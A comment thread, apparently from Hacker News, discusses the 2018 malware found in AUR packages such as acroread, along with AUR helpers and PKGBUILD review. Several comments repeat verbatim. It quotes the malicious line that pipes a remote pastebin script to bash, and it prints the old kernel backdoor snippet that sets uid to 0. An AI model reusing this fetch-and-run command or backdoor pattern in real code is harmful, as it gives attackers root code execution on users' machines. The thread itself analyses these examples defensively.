(Also, I don't really get the critique of tools like yaourt, since they make it easy to inspect the PKGBUILD and - if present - install files. The tool simplifies downloading, you still need to review yourself!)
All the install hooks are run chrooted inside the pacman install directory.
But, yeah, they run as root, so they could still do something nasty at install time. Not when you `makepkg` the PKGBUILD, though.
But, yeah, they run as root, so they could still do something nasty at install time. Not when you `makepkg` the PKGBUILD, though.
The AUR repo is, basically, a free for all. It’s not the official repository, which is trustworthy - it’s just a hosting space for user-provided build instructions.
Not a surprise.
Yes, but this may be a good reminder for fellow Arch users who have grown complacent reviewing things they install from AUR.
I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing")
If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option:
I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing")
If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option:
pacman -Qm
I've seen the advice of not installing AUR helpers multiple times before. I guess it works for many, but I feel it takes more discipline to review the files when not using AUR helpers since you can just download them and makepkg them immediately, while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor with a default answer of [Y]es.
One of the problem I see with helpers is that a lot of them start to wrap the whole user's package handling experience (pacman wrapping) where it seems like it would be easy to ignore the prompts and "just download the package already". You can tell users the AUR is unsafe and to review PKGBUILDs but that doesn't mean they are going to listen or do it.
I did write a helper, mainly for myself and a few other arch users I know, and if not for having completed it enough to use it, I wouldn't do it again (I don't support pacman wrapping). I use like 5-10 packages from the AUR and I either maintain them or they _never_ change and I would know something is wrong.
The other point to this is how is this sort of compromise best communicated? It's important enough to hit [0] and obviously this news site, the mailinglist[1], but not the frontpage of arch itself.
[0] planet.archlinux.org [1] https://lists.archlinux.org/pipermail/aur-general/2018-July/...
I did write a helper, mainly for myself and a few other arch users I know, and if not for having completed it enough to use it, I wouldn't do it again (I don't support pacman wrapping). I use like 5-10 packages from the AUR and I either maintain them or they _never_ change and I would know something is wrong.
The other point to this is how is this sort of compromise best communicated? It's important enough to hit [0] and obviously this news site, the mailinglist[1], but not the frontpage of arch itself.
[0] planet.archlinux.org [1] https://lists.archlinux.org/pipermail/aur-general/2018-July/...
> The other point to this is how is this sort of compromise best communicated? It's important enough to hit [0] and obviously this news site, the mailinglist[1], but not the frontpage of arch itself.
I brought it up partially, and the simple explanation is; We don't. It's unsupported and compromised packages happens. There is no system in place to warn about it and the frontpage is reserved for news about issues regarding official packages.
I brought it up partially, and the simple explanation is; We don't. It's unsupported and compromised packages happens. There is no system in place to warn about it and the frontpage is reserved for news about issues regarding official packages.
> while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor
The good ones do, yes.
> with a default answer of [Y]es.
And therein lies the problem. You may review a handful up front, but then convince yourself that all is good since it's much easier to just press 'enter' and move on. It's MUCH easier to ignore a PKGBUILD when you have to hit one key to skip it than it is if you have to manually download it, put it somewhere, and 'makepkg' on it.
The good ones do, yes.
> with a default answer of [Y]es.
And therein lies the problem. You may review a handful up front, but then convince yourself that all is good since it's much easier to just press 'enter' and move on. It's MUCH easier to ignore a PKGBUILD when you have to hit one key to skip it than it is if you have to manually download it, put it somewhere, and 'makepkg' on it.
I think you misread. Pressing 'enter' opens up the editor to review the files. To ignore them, you'd have to answer [n]o.
Ah, in that case, most I've come across do not default to 'edit', but rather to accept. Notice that many default to automatic building: https://wiki.archlinux.org/index.php/AUR_helpers#Active
Huh. Thanks for the link; I hadn't realized that pacaur was announced unmaintained last December. I'll have to look for a replacement.
The developer of pacaur now works on auracle.
Falconindy is not the developer of pacaur.
aurman is the best replacement
I mean, is this new information? I always look at the upvotes on the package to see if it has been tested.
You should read the PKGBUILD, even on upgrades. In this case the bad guy took over an orphaned package (with 853 votes) and updated it. You could have looked at the upvotes 5 years ago and blindly upgraded to his new version last week.
Yeah it would be better if the packages had all-time upvotes as well as “upvotes for this version”.
Honestly, I don't see this happening.
Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built.
In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built.
In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
Not a great idea. Upvotes don't really tell you shit about testing, quality, or trust. I mean how many votes does acroread have (hint: a lot). The votes is merely to give arch some idea of how popular an AUR package is so that it can be absorbed officially.I have had a few of my AUR packages scooped up this way. Voting may indirectly indicate that the package is useful, but it doesn't say the thing doesn't contain malware nor does it indicate that the script is poorly written for other reasons. I orphaned a few quite popular AUR entries with high vote counts. The counts don't magically go away, and at that point anybody on the internet is free to adopt it.
The article mentions 3 infected packages. But it only lists one: acroread.
Then the comment section mentions the other one is libvlc.
But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/...
So then there's still two missing.
Here's what I've found that he maintained:
1) balz (https://archive.fo/TjIQI)
2) minergate (https://archive.fo/TjIQI)
3) acroread - as mentioned (https://my.mixtape.moe/kvfpmk.png)
So those "balz" and "minergate" could be the missing two.
Edit: seems like archive.fo is temporarily down, so it will just be my word for it right now. Sorry.
Then the comment section mentions the other one is libvlc.
But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/...
So then there's still two missing.
Here's what I've found that he maintained:
1) balz (https://archive.fo/TjIQI)
2) minergate (https://archive.fo/TjIQI)
3) acroread - as mentioned (https://my.mixtape.moe/kvfpmk.png)
So those "balz" and "minergate" could be the missing two.
Edit: seems like archive.fo is temporarily down, so it will just be my word for it right now. Sorry.
There was some more questions about the affected packages on IRC. I posted a mail to the thread with the packages and versions.
https://lists.archlinux.org/pipermail/aur-general/2018-July/...
Someone was questioning if `libvlc` could be considered dangerous. However the package download our packaged `vlc` packages and just repackages the `/usr/lib/libvlc*` files into a new package.
Doesnt everyone know AUR packages are inherently unsafe? if you wanted to make sure they werent up to something you could read the pkgbuild
Honestly, no, not everyone knows this. Maybe when there was just arch linux and no spinoffs; but manjaro provides an easy path to a rolling-release arch(-like) distribution, and it treats AUR as a first-class citizen in its GUIs. I think there was a popup at some point when an application first accesses AUR that tells you that AUR is unsupported and to go to a wiki to understand it, but I think it could use better messaging. A warning at the header of the AUR section of the package manager gui would be a good start.
Given the design of most of the AUR "helpers" out there, I would guess that there are a non-trivial amount of users who view the AUR as safe.
Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.
Yaourt is also unmaintained and unsafe. Please switch to something better.
https://wiki.archlinux.org/index.php/AUR_helpers#Active
https://wiki.archlinux.org/index.php/AUR_helpers#Active
Oh wow. I was not aware, thanks for letting me know!
It should just show the PKGBUILD every time. If it's not doing anything sketchy it's often only a dozen lines.
aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.
Thanks! I got bored of looking for a yaourt replacement because they seemed all the same, and discussions of AUR helpers often turn into flamewars, but PKGBUILD diffs is a valuable feature. Trying aurman :)
For the people interested, here's the actual commit from the acroread package:
https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...
https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...
Following the URLs it appears that it sets up a systemd timer to post some system info to pastebin every hour. However the script also appears to have a mistake which I think would cause it to only log to /root/home/*/compromised.txt.
$uploader "$FULL_LOG"
should be
upload "$FULL_LOG"
$uploader "$FULL_LOG"
should be
upload "$FULL_LOG"
> + curl -s https://ptpb.pw/~x|bash -&
So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.
Not much to see here, fortunately.
So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.
Not much to see here, fortunately.
that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel
Even moreso: the fact that it's well-known as a pastebin means that it should be obvious data coming from it are user-generated and could come from anyone.
As an Arch user this bothers me since a while. On the one hand the AUR contains packages I don't want to miss, on the other hand installing and updating from the AUR is tiresome.
Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review.
I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.
Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review.
I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.
In a sense we already have that, in the form of the `community` repo: Trusted Users mark a package as safe, adopt it, and it gets packaged up and supported.
Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.
Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.
Is there a public database of linux malware found in the wild that one can study to know what kind of things to look for when reviewing PKGBUILDs and other open source code?
EDIT: s/repository/public database/
EDIT: s/repository/public database/
Nothing that I know off. Are you thinking specific to Arch Linux or in general?
In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the cases where malware is found more easy to study.
The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
This is one example of a kernel backdoor:
More info of this particular one at e.g. https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-... or just search for 'linux backdoor attempt'
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
More info of this particular one at e.g. https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-... or just search for 'linux backdoor attempt'
It's not about everyone being prepared to find malware anywhere, though, but only in the cases where they each do. For random users of AUR packages, if they (for whatever reason) trust a project's author, then they only need to check the package author's work. If they could have access to historical examples of real life malware specifically on PKGBUILD files, that would make it much easier to have an idea of what kind of details they should be on the alert for.
For kernel devs, specifically the kind that reviews patches submitted by others, I would think it would also be useful to have data on previous successful and failed attempts at introducing backdoors into the kernel.
Right now, I think that for anyone that wants to see this kind of data for any particular kind of software, they'd have to search for it through various mediums like mailing lists or the blog you linked to (through google).
That's an interesting link, by the way. Thanks for sharing.
EDIT: Removed redundant part. Misread what parent post meant.
For kernel devs, specifically the kind that reviews patches submitted by others, I would think it would also be useful to have data on previous successful and failed attempts at introducing backdoors into the kernel.
Right now, I think that for anyone that wants to see this kind of data for any particular kind of software, they'd have to search for it through various mediums like mailing lists or the blog you linked to (through google).
That's an interesting link, by the way. Thanks for sharing.
EDIT: Removed redundant part. Misread what parent post meant.
But what's a successful backdooring attempt? Any security bug/vuln found in the kernel could have been planted. But perhaps what's what you meant, to have a database of such things, though I doubt it'll make it easier. Serious attackers would either use a custom method or look at what is rarely used on the list so it doesn't trigger any alarms.
I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux.
Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.
Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.
A case for putting more things in the main Archlinux repositories!